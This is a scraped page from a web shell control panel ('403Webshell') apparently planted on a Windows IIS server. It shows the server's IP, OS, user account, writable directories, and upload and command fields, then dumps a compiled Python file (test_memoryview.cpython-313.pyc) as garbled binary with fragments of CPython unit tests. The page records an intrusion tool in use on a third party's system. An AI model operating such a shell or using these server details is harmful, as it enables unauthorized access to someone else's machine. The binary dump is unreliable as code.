403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_memoryview.cpython-313.pyc
�

��iQc��b�SrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSK	r	SSK
r
SSKrSSKJr "SS5r
"SS5r"SS	\5r"S
S\5r"SS
5r"SS5r"SS5r"SS\R(\\5r"SS\R(\\5r"SS\R(\\5r"SS\R(\\5r"SS\R(\\5r"SS\R(\\5r"SS\R(5r\S :Xa\R:"5 gg)!z}Unit tests for the memoryview

Some tests are in test_bytes. Many tests that require _testbuffer.ndarray
are in test_buffer.
�N)�
import_helperc��\rSrSrSrg)�MyObject��N��__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__r��)C:\Python313\\Lib\test\test_memoryview.pyrrs��rrc���\rSrSrSr\S5r\S5rSrSr	Sr
SrS	rS
r
SrSrS
rSrSrSrSrSrSrSrSrSrSrSrSrSrSrSrSr Sr!Sr"S r#g!)"�AbstractMemoryTests��abcdefc��UR$�N)�source_bytes��selfs r�_source�AbstractMemoryTests._sources��� � � rc�F�[SURUR/5$r)�filter�ro_type�rw_typers r�_types�AbstractMemoryTests._types s���d�T�\�\�4�<�<�8�9�9rc�V^�U"UR5n[R"U5nURU5mUR	TS[S55 UR
TS[5 UR	TS[S55 UR	TS[S55 UR	TS[S55 UR[U4Sj5 UR[U4Sj5 UR[U4S	j5 UR[U4S
j5 UR[U4Sj5 UR[U4Sj5 UR[U4S
j5 SmUR	[R"U5U5 g)Nr�a��f���i����c�>�TS$)N�r��ms�r�<lambda>�=AbstractMemoryTests.check_getitem_with_type.<locals>.<lambda>.s	���a��drc�>�TS$)N���rr(s�rr*r+/s	���a��erc�*>�T[R$r��sys�maxsizer(s�rr*r+0s
���a����nrc�,>�T[R*$rr/r(s�rr*r+1s���a�����orc�>�TS$rrr(s�rr*r+3s	���Q�t�Wrc�>�TS$)N�rr(s�rr*r+4�	���Q�s�Vrc�>�TS$)N�arr(s�rr*r+5r6r)rr0�getrefcount�_view�assertEqual�ord�assertIsInstance�int�assertRaises�
IndexError�	TypeError)r�tp�b�oldrefcountr)s    @r�check_getitem_with_type�+AbstractMemoryTests.check_getitem_with_type$s0����t�|�|����o�o�a�(���J�J�q�M������1��s�4�y�)����a��d�C�(�����1��s�4�y�)�����2���D�	�*�����2���D�	�*����*�l�3����*�m�4����*�&<�=����*�&=�>����)�_�5����)�^�4����)�^�4����������+�[�9rc�L�URHnURU5 M gr)rrE)rrBs  r�test_getitem� AbstractMemoryTests.test_getitem9s���+�+�B��(�(��,�rc	��URHfnU"UR5nURU5nUR[	U5[[
U55Vs/sHoCUPM	 sn5 Mh gs snfr)rrr:r;�list�range�len�rrBrCr)�is     r�	test_iter�AbstractMemoryTests.test_iter=s^���+�+�B��4�<�<� �A��
�
�1�
�A����T�!�W�U�3�q�6�]�&C�]���t�]�&C�D���'Ds�A8c��^�UR(dURS5 URUR5n[R"U5nURU5mU4SjnUR
[US5 UR
[US5 UR
[U[S55 SmUR[R"U5U5 g)N�no read-only type to testc�>�UTS'g)Nrr)�valuer)s �r�setitem�:AbstractMemoryTests.test_setitem_readonly.<locals>.setitemIs����A�a�Drr"�A)
r�skipTestrr0r9r:r?rA�
memoryviewr;)rrCrDrVr)s    @r�test_setitem_readonly�)AbstractMemoryTests.test_setitem_readonlyCs�����|�|��M�M�5�6��L�L����&���o�o�a�(���J�J�q�M��	����)�W�d�3����)�W�b�1����)�W�j��.>�?����������+�[�9rc
�^^�UR(dURS5 URmURUR5n[R"U5nURU5m[
S5TS'URTUS5 T"S5TSS&URTUS5 T"S5TSS	&URTUS
5 T"S5TSS&URTUS
5 T"S5TSS&URTUS5 TS
STSS	&URTUS5 T"S5TSS&TSS	TS
S&URTUS5 UU4SjnUR[USS5 UR[USS5 UR[U[RS5 UR[U[R*S5 UR[USS5 UR[USS5 UR[U[SSS5S4S5 UR[US[SSS54S5 UR[USS5 UR[USS5 [SSS5[SSS
54nUR[X4S5 TRS:Xa[O[nURXSSS5 URXSSS5 UR[U[SS5S5 UR[U[SS
5S5 SmUR![R"U5U5 g)N�no writable type to test�1rs1bcdef�0�s0bcdefs12�s012defrr�r#scdedefsababcfc�>�T"U5TU'grr)�keyrUr)rBs  ��rrV�:AbstractMemoryTests.test_setitem_writable.<locals>.setitemjs�����Y�A�c�Frr'r"r-r5)rr8�csab)rrYrr0r9r:r<�_check_contentsr?r@r1rA�slice�NotImplementedError�format�
ValueErrorr;)rrCrDrV�slices�excr)rBs      @@r�test_setitem_writable�)AbstractMemoryTests.test_setitem_writableQs�����|�|��M�M�4�5�
�\�\���L�L����&���o�o�a�(���J�J�q�M���4�y��!�����R��I�.��D���!�A�����R��I�.��E���!�A�����R��I�.��C���!�A�����R��I�.��)�}��!�����R��I�.��1�Q���!�A�����R��I�.��)�}��!���1�Q���!�A�����R��I�.�	�	
���*�g�q�$�7����*�g�r�4�8����*�g�s�{�{�D�A����*�g����|�T�B����)�W�c�4�8����)�W�d�D�9����)�W�u�Q�q��|�Q�.?��F����)�W�q�%��!�A�,�.?��F����)�W�d�D�9����)�W�c�4�8���!�A�,��a��!��-�����-�w��E��H�H��O�j������#��3�/����#��5�1����*�g�u�Q�q�z�4�@����*�g�u�Q�q�z�4�@����������+�[�9rc�>�URHjnU"UR5nURU5nUR[5 US	SSS5 UR[5 USS2	SSS5 Ml g!,(df   N6=f!,(df   M�=f)Nra�)rrr:r?rA�rrBrCr)s    r�test_delitem� AbstractMemoryTests.test_delitem�sv���+�+�B��4�<�<� �A��
�
�1�
�A��"�"�9�-��a�D�.��"�"�9�-��a��c�F�.�-��.�-��-�-�s�A<�)B
�<
B
	�
B	c�^�TRHvnTRU"TR55nUR5nSR	U4SjS55nTRX45 TR
U[5 Mx g)Nrc3�Z># �UH nTR[U/55v� M" g7fr)�getitem_type�bytes)�.0rgrs  �r�	<genexpr>�3AbstractMemoryTests.test_tobytes.<locals>.<genexpr>�s)���� B�7@�!��!�!�%���*�-�-�y�s�(+r)rr:r�tobytes�joinr;r=ry)rrBr)rC�expecteds`    r�test_tobytes� AbstractMemoryTests.test_tobytes�so����+�+�B��
�
�2�d�l�l�+�,�A��	�	��A��x�x� B�7@� B�B�H����Q�)��!�!�!�U�+�rc���URHOnURU"UR55nUR5nUR	U[S55 MQ g)Nr)rr:r�tolistr;rK)rrBr)�ls    r�test_tolist�AbstractMemoryTests.test_tolist�sF���+�+�B��
�
�2�d�l�l�+�,�A����
�A����Q��Y��0�rc�^^�URGH�nURU"UR55mURH�nURTU"S5:H5 UR	TU"S5:g5 UR	TU"S5:H5 URTU"S5:g5 UR	TU"S5:H5 URTU"S5:g5 M� URTT:H5 URTTSS:H5 URTSSTSS:H5 UR	TSST:H5 UR	TS:H5 URTS:g5 UR	ST:H5 URST:g5 TS4HomUR[UU4Sj5 UR[UU4S	j5 UR[UU4S
j5 UR[UU4Sj5 Mq GM� g)Nrsabcdesabcde1rr'r#�abcdefc�>�TT:$rr�rgr)s��rr*�2AbstractMemoryTests.test_compare.<locals>.<lambda>��	���Q��Urc�>�TT:*$rrr�s��rr*r���	���Q�!�Vrc�>�TT:�$rrr�s��rr*r��r�rc�>�TT:�$rrr�s��rr*r��r�r)rr:r�
assertTrue�assertFalser?rA)rrB�tp_comprgr)s   @@r�test_compare� AbstractMemoryTests.test_compare�s�����+�+�B��
�
�2�d�l�l�+�,�A��;�;������W�Y�%7� 7�8�� � ��g�i�&8�!8�9�� � ��g�h�&7�!7�8�����W�X�%6� 6�7�� � ��g�i�&8�!8�9�����W�Y�%7� 7�8�
'�
�O�O�A��F�#��O�O�A��1��I�&��O�O�A�a��F�a��d�N�+����Q�q��V�q�[�)�
���Q�(�]�+��O�O�A��M�*����X��]�+��O�O�H��M�*���^���!�!�)�]�;��!�!�)�^�<��!�!�)�^�<��!�!�)�]�;�	$�+rc��URU"UR55nURURUR5 URURUR5 URUR
S5 URURS5 UR[U5S5 URURUR45 URURS5 U$)Nra)r'r'r)
r:rr;rk�itemsize�ndim�shaperM�strides�
suboffsets)rrBr)s   r�check_attributes_with_type�.AbstractMemoryTests.check_attributes_with_type�s����J�J�r�$�,�,�'�(��������4�;�;�/�������T�]�]�3��������#�������$�'�����Q���#�������T�]�]�$4�5�������r�*��rc��UR(dURS5 URUR5nURURS5 g)NrST)rrYr�r;�readonly�rr)s  r�test_attributes_readonly�,AbstractMemoryTests.test_attributes_readonly�s>���|�|��M�M�5�6��+�+�D�L�L�9��������T�*rc��UR(dURS5 URUR5nURURS5 g)Nr^F)rrYr�r;r�r�s  r�test_attributes_writable�,AbstractMemoryTests.test_attributes_writable�s>���|�|��M�M�4�5��+�+�D�L�L�9��������U�+rc��URH�nU"UR5n[R"U5nUR	U5n[R"U5n[US5nUR
XURS55 UR[R"U5U5 SnUR[R"U5U5 M� g)Nzutf-8)	rrr0r9r:�strrh�encoder;)rrBrCrDr)�oldviewrefcount�ss       r�test_getbuffer�"AbstractMemoryTests.test_getbuffer�s����+�+�B��4�<�<� �A��/�/�!�,�K��
�
�1�
�A�!�o�o�a�0�O��A�w��A�� � ������(9�:����S�_�_�Q�/��A��A����S�_�_�Q�/��=�rc�l�URGH#n[U[5(dM"SS5n"SSU5nU"U"S55nURU5n[	5nXTlXdl[R"U5nS=n=pV[R"5 URU"5SLU"55 U"U"S55n[	5nXUlXel[R"U5nS=pV[R"5 URU"5SLU"55 GM& g)Nc��\rSrSrSrSrg)�+AbstractMemoryTests.test_gc.<locals>.MyView��c�$�[U5Ulgr)rZr))r�bases  r�__init__�4AbstractMemoryTests.test_gc.<locals>.MyView.__init__�s��'��-�D�Frr(N)r	r
rrr�r
rrr�MyViewr��s��.rr�c��\rSrSrSrg)�-AbstractMemoryTests.test_gc.<locals>.MySource��rNrrrr�MySourcer��s��rr��abc)
r�
isinstance�typer:rr)�o�weakref�ref�gc�collectr��x)rrBr�r�rCr)r��wrs        r�test_gc�AbstractMemoryTests.test_gc�s����+�+�B��b�$�'�'��
.�
.�
�2�
�
��F��$�A��
�
�1�
�A��
�A��C��C����Q��B���A����J�J�L��O�O�B�D�D�L�"�$�/��r�&�z�"�A��
�A��C��C����Q��B��L�A��J�J�L��O�O�B�D�D�L�"�$�/�Crc��UR[S5nU [U5 SSS5 U UR5 SSS5 U UR	5 SSS5 U US SSS5 U SUS'SSS5 U [U5 SSS5 U UR SSS5 U UR SSS5 U UR SSS5 U UR SSS5 U UR SSS5 U UR SSS5 U U SSS5 SSS5 URS[U55 URS[U55 URX5 UR!U[#U"UR$555 UR!X"UR$55 g!,(df   GN�=f!,(df   GN�=f!,(df   GN�=f!,(df   GN�=f!,(df   GN�=f!,(df   GN�=f!,(df   GN�=f!,(df   GN�=f!,(df   GN�=f!,(df   GN�=f!,(df   GN�=f!,(df   GN�=f!,(df   GN�=f!,(df   GN�=f)N�releasedr�xzreleased memory)�assertRaisesRegexrlryr}r�rMrkr�r�r�r�r��assertInr��reprr;�assertNotEqualrZr)rr)rB�checks    r�_check_released�#AbstractMemoryTests._check_releasedsv���&�&�z�:�>��
�E�!�H�U�
�A�I�I�K�U�
�A�H�H�J�U�
�A�a�D�U�
�4�A�a�D�U�
�C��F�U�
�A�H�H�U�
�A�J�J�U�
�A�F�F�U�
�A�J�J�U�
�A�G�G�U�
�A�I�I�U�
�����	
�
�
�'��Q��0��
�
�'��a��1���������A�z�"�T�\�\�*:�;�<����A�r�$�,�,�/�0�)�U��
�U��
�U��
�U��
�U��
�U��
�U��
�U��
�U��
�U��
�U��
�U������U�s��G�G �
G2�%H�5H�H(�
H:�2
I�	
I� 
I0�7
J�
J�%J8�(J&�*J8�
G� 
G/�2
H�
H�
H%�(
H7�:
I	�
I�
I-�0
I?�
J�
J#�&
J5	�0J8�8
Kc�h�URHnU"UR5nURU5nUnURXC5 SSS5 UR	X15 URU5nU UR5 SSS5 M� g!,(df   NP=f!,(df   M�=fr)rrr:�assertIsr��release)rrBrCr)�cms     r�test_contextmanager�'AbstractMemoryTests.test_contextmanagers���+�+�B��4�<�<� �A��
�
�1�
�A��b��
�
�b�$��� � ��'��
�
�1�
�A���	�	��������
��s�B�3B"�
B	�"
B1	c���URHhnU"UR5nURU5nUR5 UR	X15 UR5 UR	X15 Mj gr)rrr:r�r�rss    r�test_release� AbstractMemoryTests.test_release(sY���+�+�B��4�<�<� �A��
�
�1�
�A�
�I�I�K�� � ��'�
�I�I�K�� � ��'�rc��URnUcURS5 U"UR5nURU5n[R
"S5nUR
[URU5 g)NrSsZZZZ)	rrYrr:�io�BytesIOr?rA�readintorNs     r�test_writable_readonly�*AbstractMemoryTests.test_writable_readonly2s^���\�\��
�:��M�M�5�6��t�|�|����J�J�q�M���J�J�w������)�Q�Z�Z��3rc�F�UR[UR05 gr)r?rAr:rs r�test_getbuf_fail�$AbstractMemoryTests.test_getbuf_fail=s�����)�T�Z�Z��4rc��URnUcURS5 U"UR5nURU5nUR	[U5[S55 UR
5 UR	[U5[S55 URU5nUR
5 UR[[
U5 g)NrSr)	rrYrr:r;�hashr�r?rlrss    r�	test_hash�AbstractMemoryTests.test_hash@s����\�\��
�:��M�M�5�6��t�|�|����J�J�q�M������a��$�y�/�2�	�	�	������a��$�y�/�2�
�J�J�q�M��	�	�	�����*�d�A�.rc��URnUcURS5 U"UR5nURU5nUR	[
[U5 g)Nr^)rrYrr:r?rlr�rss    r�test_hash_writable�&AbstractMemoryTests.test_hash_writableRsJ��
�\�\��
�:��M�M�4�5��t�|�|����J�J�q�M�����*�d�A�.rc�^�"U4SjS[R5nU"SS5n[U5R5mUR[[
T5 UR[TR5 g)Nc�">�\rSrSrU4SjrSrg)�7AbstractMemoryTests.test_hash_use_after_free.<locals>.Ei^c�F>�TR5 UR5 g)N�{�r��clear)r�mvs �r�__hash__�@AbstractMemoryTests.test_hash_use_after_free.<locals>.E.__hash___s����
�
���
�
��rrN)r	r
rrr�r
)r�s�r�Er�^s
���
�
rr��BsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)�arrayrZ�
toreadonlyr?�BufferErrorr�r�)rr��vr�s   @r�test_hash_use_after_free�,AbstractMemoryTests.test_hash_use_after_free[sY���	����	�
�c�;���
��]�
%�
%�
'�����+�t�R�0����+�r�{�{�3rc�x^�URH�nU"UR5nURU5n/mU4U4Sjjn[R"X45nURU"5U5 A[RR5 URU"5S5 URTSU5 M� g)Nc�(>�TRU5 gr)�append)r�rC�Ls  �r�callback�2AbstractMemoryTests.test_weakref.<locals>.callbackos�������rr)	rrr:r�r�r��test�support�
gc_collect)rrBrCr)r�r�r�s      @r�test_weakref� AbstractMemoryTests.test_weakrefis�����+�+�B��4�<�<� �A��
�
�1�
�A��A� �
����Q�)�B��M�M�"�$��"���L�L�#�#�%��M�M�"�$��%��M�M�!�A�$��"�rc
�b�URH�nU"UR5nURU5n[[	UR555nUR
[[	U55U5 UR
[[	U55[USSS255 M� g)Nr%)rrr:rK�reversedr�r;)rrBrCr)�aslists     r�
test_reversed�!AbstractMemoryTests.test_reversedxs~���+�+�B��4�<�<� �A��
�
�1�
�A��(�1�8�8�:�.�/�F����T�(�1�+�.��7����T�(�1�+�.��Q�t��t�W�
�>�rc��URH�nU"UR5nURU5nUR5nUR	UR
5 UR	[
U5R
5 URUR5UR55 UR5 UR5 M� gr)
rrr:r�r�r�rZr;r�r�)rrBrCr)�mms     r�test_toreadonly�#AbstractMemoryTests.test_toreadonly�s����+�+�B��4�<�<� �A��
�
�1�
�A�����B��O�O�B�K�K�(��O�O�J�r�N�3�3�4����R�Y�Y�[�!�(�(�*�5��J�J�L�
�H�H�J�rc�\�[R"S/SQ5n[U5nURS5nURS5nUSSn[U5nAURUSS5 URUSS5 URURS5 URURS5 URS5nURUSS5 URUSS5 URURS5 URURS5 g)N�H)�rrrr�rrcr�I)r�rZ�castr;rk)rr8r�r)rCrg�d�_s        r�test_issue22668�#AbstractMemoryTests.test_issue22668�s����K�K��1�2���q�M��
�F�F�3�K��
�F�F�3�K��
�a��F���q�M��
�����1��s�#�����1��s�#�������3�'�������3�'�
�F�F�3�K������1��s�#�����1��s�#�������3�'�������3�'rc�^^�[S5m[T5m"UU4SjS[5nUR[TR
U"S55 g)NsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAc�$>�\rSrSrUU4SjrSrg)�6AbstractMemoryTests.test_hex_use_after_free.<locals>.Si�c�F>�TR5 TR5 g)Nrar�)r�bar�s ��r�__len__�>AbstractMemoryTests.test_hex_use_after_free.<locals>.S.__len__�s����
�
�����
�rrN)r	r
rrrr
)rr�s��r�Sr�s
���
�
rr�:)�	bytearrayrZryr?r��hex)rrrr�s  @@r�test_hex_use_after_free�+AbstractMemoryTests.test_hex_use_after_free�sE����{�
#��
��^��	�	��	�	
���+�r�v�v�q��w�7rrN)$r	r
rrr�propertyrrrErHrPr[rortr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rr	r
rr#r
rrrrrs����L�
�!��!��:��:�:�*-�E�:�2:�h�,�1�<�<	�+�,�>�"0�H1�0
�(�	4�5�/�$/�4�
#�?�	�(�*8rrc�(�\rSrSr\r\r\rSr	Sr
Srg)�BaseBytesMemoryTestsi�rar�rN)r	r
rrryrr!rrxr�rkr
rrrr'r'�s���G��G��L��H�
�Frr'c��\rSrSrSrSrSr\R"S5RrSr	\
R"S5S5r\
R"S5S	5r
S
rg)�BaseArrayMemoryTestsi�Nc�B�[R"S[U55$�NrO)r�rK�rrCs  rr*�BaseArrayMemoryTests.<lambda>�s��e�k�k�#�t�A�w�7rc�^�[R"S[U55R5$r+)r�rKr}r,s  rr*r-�s��5�;�;�s�D��G�#<�#D�#D�#FrrOz/XXX test should be adapted for non-byte buffersc��grrrs rr��#BaseArrayMemoryTests.test_getbuffer����rz:XXX NotImplementedError: tolist() only supports byte viewsc��grrrs rr�� BaseArrayMemoryTests.test_tolist�r1rr)r	r
rrrrrxr�r�rk�unittest�skipr�r�r
rrrr)r)�sf���G�7�G�F�L��{�{�3��(�(�H�
�F�
�]�]�D�E�
�F�
��]�]�O�P�
�Q�
rr)c� �\rSrSrSrSrSrg)�BaseMemoryviewTestsi�c��[U5$r�rZ)r�objs  rr:�BaseMemoryviewTests._view�s���#��rc�2�URX!"U55 gr�r;�rrBr:�contentss    rrh�#BaseMemoryviewTests._check_contents�s������b��l�+rrN)r	r
rrr:rhr
rrrr7r7�s���,rr7c�*�\rSrSrSrSrSrSrSrg)�BaseMemorySliceTestsi��XabcdefYc�"�[U5nUSS$�Nra�r9�rr:r)s   rr:�BaseMemorySliceTests._view�s���s�O����1�v�
rc�:�URUSSU"U55 grEr=r>s    rrh�$BaseMemorySliceTests._check_contents��������Q�q��2�h�<�0rc���URH_n[U"UR55n[R"U5nUSS UR[R"U5U5 Ma g)Nrarc)rrZrr0r9r;)rrBr)rDs    r�	test_refs�BaseMemorySliceTests.test_refs�sS���+�+�B��2�d�l�l�+�,�A��/�/�!�,�K�
�a��F����S�_�_�Q�/��=�	rrN)	r	r
rrrr:rhrMr
